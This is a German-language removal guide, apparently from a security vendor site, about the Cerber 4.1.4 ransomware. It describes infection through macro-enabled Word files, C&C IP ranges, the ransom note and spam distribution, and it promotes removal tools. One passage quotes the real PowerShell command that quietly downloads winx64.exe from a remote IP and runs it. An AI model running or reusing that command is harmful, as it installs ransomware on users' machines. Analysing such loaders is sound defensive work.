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  • Geprüft · Apr. 2021

Cerber 4.1.4Richtig entfernen?

Eine Schritt-für-Schritt-Entfernungsanleitung für betroffene Geräte. Folgen Sie dem geprüften Verfahren unten — die meisten Leser sind in unter 10 Minuten fertig.

Julie Splinters · Expertin im Bereich Schadsoftwareentfernung

Der Terror geht weiter: Cerber 4.1.4 im Umlauf

Cerber 4.1.4 ist der neue Nachfolger der Cerber-Kampagne. Es hat den Anschein, dass seitdem die Hacker mit Cerber 4.1.0 und Cerber 4.1.1 ihr Unwesen trieben, weniger als eine Woche vergangen ist. Vielleicht erachteten sie den Angriff als nicht erfolgreich genug und verstärken ihn daher mit einem weiteren Erpressungsprogramm. Die neue Version hängt weiterhin willkürliche Zeichen an die verschlüsselten Daten an. Sie scheint sich allerdings etwas von Locky abgeguckt zu haben, denn sie hat ihre Aktivierungsform ähnlich angepasst. Cerber 4.1.4 nutzt nun Word-Dokumente und erfragt sich das Aktivieren der Makroeinstellungen, damit es seine Hauptdatei herunterladen kann. Diese Masche, die von Locky übrigens durchgehend verwendet wird, ist unter IT-Experten ein eingehend besprochenes Thema. Verfolgt man die Trends in der IT-Welt mit, könnte man der Cyberbedrohung also entkommen. Wenn Sie mit der Schadsoftware infiziert worden sind, gibt es kein Grund zur Panik. Sie müssen in diesem Fall als Erstes Cerber 4.1.4 vom Gerät entfernen. Für eine schnelle Entfernung können Sie gerne von FortectIntego Gebrauch machen.

Die neue Version des Erpressungsprogramms verursacht weiterhin weltweit Chaos. Wie bei Cerber 4.1.0 und 4.1.1, nutzt das Programm IP-Adressen, um UDP-Pakete nach seine C&C-Server zu schicken. Die neueste Version hat für die Übertragung von statistischen Informationen die Anzahl der IP-Adressen sogar auf drei aufgestockt: 5.55.50.0/27, 192.42.118.0/27 und 194.165.16.0/22. Die Hacker können demzufolge größere Mengen von wichtigen Informationen über die Geräte sammeln und deren Hack-Strategien verbessern.

Cerber 4.1.4 rampages ruthlessly

Eine große Besonderheit der neuen Version ist außerdem die Art, wie Cerber 4.1.4 seine katastrophale Attacke beginnt. Obwohl verschiedene Varianten von dateiverschlüsselnden Viren bereits Spammails und gefälschte Rechnungen nutzen, um die Systeme anzugreifen, wechselt Cerber 4.1.4 zu Dokumenten mit Makros. Wenn das Opfer die erhaltene doc-Datei öffnet, öffnet sich ein Microsoft Word-Dokument mit einer Reihe von willkürlichen Zeichen. Aktuelle Versionen von Word haben die Makroeinstellungen zum Glück standardmäßig deaktiviert. Es wird daher gefragt, ob man sie aktivieren soll. Wenn die Einstellungen entsprechend angepasst worden sind, startet Cerber 4.1.4 die PowerShell. Kurzerhand sieht man folgende Nachricht:

POWERSHELL.EXE -window hidden (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',“$env:APPDATA\winx64.exe“);Start-Process („$env:APPDATA\winx64.exe“)

Wie Sie sehen, wurde mit der Befehlszeile der Download und die Ausführung von win64.exe veranlasst. Im Falle von 32-bit Systemen heißt die ausführbare Datei vermutlich win32.exe. Der Virus speichert die Datei anschließend im Ordner %AppData%, um letztendlich wirksam zu werden. Während der Virus die Dateien verschlüsselt, lässt sich wie üblich die Datei Readme.hta auf dem Desktop finden. Ist der Verschlüsselungsprozess fertigstellt, wird das Hintergrundbild mit einer Lösegeldforderung ersetzt, die auf die Infizierung mit Cerber 4.1.4 hinweist. Mithilfe des Wertes von MachineGuid im Verzeichnis HKLM\Software\Microsoft\Cryptography der Registry, wird übrigens die Dateiendung generiert. Verschwenden Sie am besten keine Zeit und entfernen Sie Cerber 4.1.4 so schnell wie möglich.

Die Besonderheiten bei der Verbreitung

Die Virenersteller bevorzugen anscheinend nachgewiesene und wirksame Verbreitungsmethoden: Spammails. Obwohl Computernutzer ständig davor gewarnt werden nicht leichtfertig Rechnungen, Formulare oder Polizeimitteilungen von unbekannten Absendern zu öffnen, bleibt die Zahl an Infizierungen hoch. Cyberkriminelle haben ihre Überredungskünste gemeistert und bringen anvisierte Computernutzer dazu sich nach ihren Wünschen zu verhalten. Wenn Sie eine Nachricht vom FBI oder einer Steuerbehörde erhalten, sollten Sie jedoch zuerst den Absender überprüfen, bevor Sie den Anhang öffnen. Halten Sie außerdem Ausschau nach Grammatik-, Aufmachungs- oder Tippfehlern. Das Fehlen von dem entsprechenden Logo oder die Referenzen des Vertreters können ebenfalls ein Hinweis darauf sein, dass es sich um eine gefälschte E-Mail handelt.

Lässt sich der Virus vollständig entfernen?

Für die Entfernung von Cerber 4.1.4 empfehlen wir eine zuverlässige Sicherheitssoftware zu installieren. Aktualisieren Sie sie anschließend und führen Sie einen Scan aus. Anti-Spywares wie FortectIntego oder MalwarebytesMalwarebytes entfernen Cerber 4.1.4 in der Regel innerhalb weniger Minuten. Wenn Sie allerdings hoffen, dass die Programme auch Ihre Dateien entschlüsseln, müssen wir Sie leider enttäuschen. Dafür gibt es andere Programme. Am besten lassen sich die Dateien jedoch wiederherstellen, wenn man früher angefertigte Back-ups oder das originale Entschlüsselungsprogramm nutzt. Unsere Empfehlungen für die Datenwiederherstellung finden Sie weiter unten. Wenn der Bildschirm aufgrund des Virus gesperrt ist oder Sie sonst keine Systemfunktionen nutzen können, können Sie mit folgender Anleitung den Zugriff wiederherstellen.

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